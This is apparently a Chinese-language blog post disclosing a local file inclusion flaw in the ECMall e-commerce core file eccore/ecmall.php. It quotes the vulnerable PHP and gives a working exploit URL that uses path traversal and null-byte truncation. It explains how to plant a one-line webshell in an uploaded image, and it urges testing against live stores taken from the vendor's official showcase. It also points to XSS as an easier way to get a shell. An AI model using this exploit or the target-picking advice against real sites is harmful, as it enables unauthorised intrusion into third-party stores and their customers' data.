ECMall 社區(qū)電子商務(wù)系統(tǒng)(簡(jiǎn)稱ECMall)是上海商派網(wǎng)絡(luò)科技有限公司繼ECShop 之后推出的又一個(gè)電子商務(wù)姊妹產(chǎn)品。
最近看到烏云上暴了一個(gè)ecmall全版文件包函漏洞、其實(shí)自己早在去年做ecmall二次開(kāi)發(fā)的時(shí)候也發(fā)現(xiàn)了一個(gè)本地文件包函漏洞和xss、不知道和烏云上的哪個(gè)是不是一樣。
出現(xiàn)的地方比較杯具,是一個(gè)核心文件里面、在eccore/ecmall.php文件里。大概78行左右吧。
//只判斷是app是否設(shè)置,然后去掉了兩端空格
$app = isset($_REQUEST['app']) ? trim($_REQUEST['app']) : $default_app;
$act = isset($_REQUEST['act']) ? trim($_REQUEST['act']) : $default_act;
//很明顯可以看出$app是我們可以控制的、由于后面連接了.app.php所以利用的時(shí)候要截?cái)唷?/DIV>
$app_file = $config['app_root'] . "/{$app}.app.php";
//應(yīng)為是本地包函、所以is_file是為真的
if (!is_file($app_file))
{
exit('Missing controller');
}
//這里直接就包函了,這么底級(jí)的漏洞、我都不好說(shuō)什么了.
require($app_file);
Exp:http://xxxx.com/index.php?app=../data/files/mall/application/store_516_1.jpg%00.
測(cè)試:
到官方的用戶展示里挑幾個(gè)目標(biāo)測(cè)試一下。
注冊(cè)一個(gè)用戶、上傳頭像或者其他上傳地方上傳一張函一句話的圖片、包函進(jìn)來(lái)即可.
將圖片路徑替換exp里的路徑、后面的%00.就是前面所說(shuō)的截?cái)?0后面有個(gè)點(diǎn)看清楚.
注:須要在GPC沒(méi)打開(kāi)時(shí)方能利用成功、所以說(shuō)還是有一點(diǎn)雞肋的,不要用來(lái)做壞事、產(chǎn)生任何后果與本人無(wú)關(guān)。
其他地方還有很多xss、用xss來(lái)拿shell的成功率要高很多、因?yàn)楹笈_(tái)可以拿shell。匆忙亂寫的比較亂呀、見(jiàn)笑鳥(niǎo),有機(jī)會(huì)寫個(gè)其他類型的。